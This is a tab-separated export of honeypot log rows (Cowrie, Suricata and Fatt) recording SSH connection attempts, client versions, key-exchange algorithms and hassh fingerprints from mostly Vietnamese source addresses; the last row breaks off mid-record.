24053	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:22.128875+03	2021-09-20 14:15:08.290471+03	{"_id": "uQbkAnwBvYTbRNuEghBL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:42196 (192.168.176.2:22) [session: 16fb460ab473]", "session": "16fb460ab473", "@version": "1", "protocol": "ssh", "src_port": 42196, "dest_port": 22, "timestamp": "2021-09-20T11:08:22.128875Z", "@timestamp": "2021-09-20T11:08:22.128Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24054	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:22.281788+03	2021-09-20 14:15:08.292471+03	{"_id": "twbkAnwBvYTbRNuEghBL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "693cefe0bf42", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:22.281788Z", "@timestamp": "2021-09-20T11:08:22.281Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24055	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:22.310412+03	2021-09-20 14:15:08.293471+03	{"_id": "uAbkAnwBvYTbRNuEghBL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "d30423c30be5", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:22.310412Z", "@timestamp": "2021-09-20T11:08:22.310Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24056	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:08:22.281445+03	2021-09-20 14:15:08.294471+03	{"_id": "wQbkAnwBvYTbRNuEhBCv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1125996202092360, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 42136, "dest_port": 22, "timestamp": "2021-09-20T11:08:22.281445Z", "@timestamp": "2021-09-20T11:08:22.281Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24062	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:08:14.913476+03	2021-09-20 14:15:08.302473+03	{"_id": "OAbkAnwBvYTbRNuEZhC-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 118 seconds", "session": "e2315caec864", "@version": "1", "duration": 118.8036561012268, "timestamp": "2021-09-20T11:08:14.913476Z", "@timestamp": "2021-09-20T11:08:14.913Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24057	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:08:22.525092+03	2021-09-20 14:15:08.295471+03	{"_id": "wwbkAnwBvYTbRNuEhBCv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1633908297190931, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 56406, "dest_port": 22, "timestamp": "2021-09-20T11:08:22.525092Z", "@timestamp": "2021-09-20T11:08:22.525Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24058	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:22.284215+03	2021-09-20 14:15:08.29647+03	{"_id": "yQbkAnwBvYTbRNuEhRCV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 42136, "timestamp": "2021-09-20T11:08:22.284215", "@timestamp": "2021-09-20T11:08:22.284Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24059	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:08:22.550618+03	2021-09-20 14:15:08.29747+03	{"_id": "ygbkAnwBvYTbRNuEhRCV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 56406, "dest_port": 22, "timestamp": "2021-09-20T11:08:22.550618", "@timestamp": "2021-09-20T11:08:22.550Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24060	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:08:23.444954+03	2021-09-20 14:15:08.29947+03	{"_id": "6gbkAnwBvYTbRNuEiBCY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1677023326404973, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 54884, "dest_port": 22, "timestamp": "2021-09-20T11:08:23.444954Z", "@timestamp": "2021-09-20T11:08:23.444Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24061	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:08:14.063008+03	2021-09-20 14:15:08.300472+03	{"_id": "NwbkAnwBvYTbRNuEYhDV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "54b867fdbce6", "@version": "1", "timestamp": "2021-09-20T11:08:14.063008Z", "@timestamp": "2021-09-20T11:08:14.063Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24063	119.29.153.168	109.199.241.180	Suricata	2021-09-20 14:08:17.749059+03	2021-09-20 14:15:08.303473+03	{"_id": "SQbkAnwBvYTbRNuEcRAl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "119.29.153.168", "dest_ip": "192.168.20.116", "flow_id": 1130823745138688, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 43498, "dest_port": 22, "timestamp": "2021-09-20T11:08:17.749059Z", "@timestamp": "2021-09-20T11:08:17.749Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
24064	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:08:17.423086+03	2021-09-20 14:15:08.304473+03	{"_id": "TAbkAnwBvYTbRNuEchAJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 37916, "dest_port": 22, "timestamp": "2021-09-20T11:08:17.423086", "@timestamp": "2021-09-20T11:08:17.423Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
24065	119.29.153.168	109.199.241.180	Fatt	2021-09-20 14:08:17.749403+03	2021-09-20 14:15:08.305473+03	{"_id": "SwbkAnwBvYTbRNuEchAJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "119.29.153.168", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": 